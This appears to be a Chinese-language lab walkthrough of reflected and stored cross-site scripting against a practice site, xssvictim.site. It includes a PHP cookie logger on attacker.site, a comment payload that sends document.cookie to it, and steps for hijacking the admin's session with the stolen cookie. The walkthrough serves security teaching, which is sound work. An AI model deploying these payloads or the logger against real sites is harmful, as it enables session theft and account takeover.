XSS
目标网站:xssvictim.site
首先导航网站,寻找可能的漏洞的注入点。
在网站顶端有SEARCH字段,通常是我们测试的首要目标。
在BLOG页面,网站允许用户在制定的发布内容下面留言。
1
2
3
4
5
6
7
User:john-Object:Wow
They will regret this!
User:admin-Object:Great!
This is really nice post.
You need to be logged to write a comment!
现在,我们没有登录,所以不能评论。
使用反射性XSS向受害者打印消息
首先测试搜索框,看它是如何工作的。
输入android,看到有一个发布内容满足我们的查询。看查询结果的顶端,似乎我们的搜索输入也打印在了结果页面,这是web应用程序很常见的行为。
现在我们要做的是检查输入在被打印在页面之前是否被过滤。
1
<h1>Hi</hi>
似乎输入一点也没有被过滤。检查源码。
下一步是检查是否Javascipt代码也可以正常工作。
1
<script>alert('XSS');</script>
这证明应用程序并没有过滤任何输入,它有反射性XSS漏洞。
1
<script>alert(document.cookie)</script>
我们可以构造payload,然后让受害者点击包含payload的URL。
使用存储型XSS窃取admin的cookie,并且用他的session登录
我们可以构造javascript payload,获取受害者的cookie,并且发回给我们。
受害者登录了应用程序,我们能够获取他的cookies,我们能够冒充他的session,通过修改浏览器中的session cookie。
在这样做之前,首先检查BLOG中的评论,这也是有漏洞的。
点击LOGIN进行登录。首先,我们需要登录来写评论。我们以attacker的身份登录。
再次打开BLOG页面,现在,我们可以向应用程序中插入评论。
Object | Enter your comment here | 结果 |
---|---|---|
Hi | Test | |
<h1>Hi</h1> |
test2 | Object的输入被过滤,没有被解释为HTML标签 |
Test3 | <h1>test3</h1> |
应用程序解释的h1标签 |
test4 | <script>alert('xss');</script> |
浏览器出现了弹窗。因为是存储型XSS,这个消息会在我们每次加载页面的时候出现。使用我们删除这个post,否则,每次都会弹窗。 |
现在我们知道该应用既有反射性XSS,又有存储型XSS,让我们尝试利用该应用程序来窃取用户的cookies。
尝试在消息中打印cookie
Object | Enter your comment here | 结果 |
---|---|---|
test5 | <script>alert(document.cookie);</script> |
cookie出现在了弹窗中 |
窃取访问该页面用户的cookie。我们不想让受害者看见弹窗,所以不会使用alert函数。
我们要做的是,构建能发送cookie信息到我们拥有和控制的网站的exploit。
在看javascript payload之前,首先让我们检查攻击者服务器attacker.site
上的代码get.php
,这是我们用来将cookie存储在我们机器上的脚本。
1
2
3
4
5
6
7
8
9
10
11
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen('jar.txt', 'a');
fwrite($fp, $ip.' '.$browser."\n");
fwrite($fp, urldecode($_SERVER['QUERY_STRING'])." \n\n");
fclose($fp);
?>
当然,我们打在打开jar.txt,可以看到它是空的:
1
attacker.site/jar.txt
然后我们在浏览器中打开这个脚本,看看会发生什么:
1
attacker.site/get.php?test=hereismydata
当页面加载,参数的内容会被保存在jar.txt文件中,和我们设置的其他信息一起。
所以,当我们打开attacker.site/jar.txt
,可以看到如下字符串:
1
2
192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
test=hereismydata
既然我们在攻击者的网站上已经有了可以工作的脚本,让我们创建将插入到评论表单payload。
这个简单的脚本创建新的image对象,然后将图片地址设置为我们的网站链接。有了这个简单的代码,我们触发受害者的浏览器请求攻击者页面,并且发送cookie。
我们用escape函数来避免特殊字符可能破坏我们的链接。受害者完全不知道发生了什么。
1
<script>var i = new Image(); i.src="http://attacker.site/get.php?cookie="+escape(document.cookie)</script>
我们将这个脚本插入评论区。
由于网页会自动重新加载,如果它起作用了。我们需要设置将cookie存储在jar.txt文件中。
Object | Enter your comment here |
---|---|
Hi all | This is a very nice post!<script>var i = new Image(); i.src="http://attacker.site/get.php?cookie="+escape(document.cookie)</script> |
刷新attacker.site/jar.txt
:
1
2
3
4
5
192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
test=hereismydata
192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
cookie=PHPSESSID=b647jora2blimcguvoubamlb82
所以这个exploit,每次用户加载blog.php页面,他的cookie会被发送到我们的脚本,我们能够读取它们。
打开一个New Private Window
。让我们站在受害者浏览器的角度打开网站。
访问xssvictim.site
,LOGIN。我们将以admin的身份登录,然后我们浏览blog.php页面。
我们可以看到,在受害者浏览器中没有发生任何奇怪的事情。所以用户并不知道发生了什么。
让我们返回jar.txt文件,看看我们收集到了什么。访问attacker.site/jar.txt
。
1
2
3
4
5
6
7
8
192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
test=hereismydata
192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
cookie=PHPSESSID=b647jora2blimcguvoubamlb82
192.168.3.22 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0
cookie=PHPSESSID=e6unaoterp5rlbjhr3i4l73bi5
我们成功的窃取了admin的cookie,现在我们需要在web应用程序假冒他的session,这意味着,我们会以admin的身份登录。
让我们复制该值,然后回到攻击者的浏览器。使用Firebug添加cookie,用将值替换成管理员的cookie。
我们当前登录身份是attacker,重新加载页面。可以看到,我们被身份验证为admin,因此在顶栏,我们可以看到ADMIN PAGE的新链接。
我们可以像往常一样导航web应用程序,以admin的身份登录。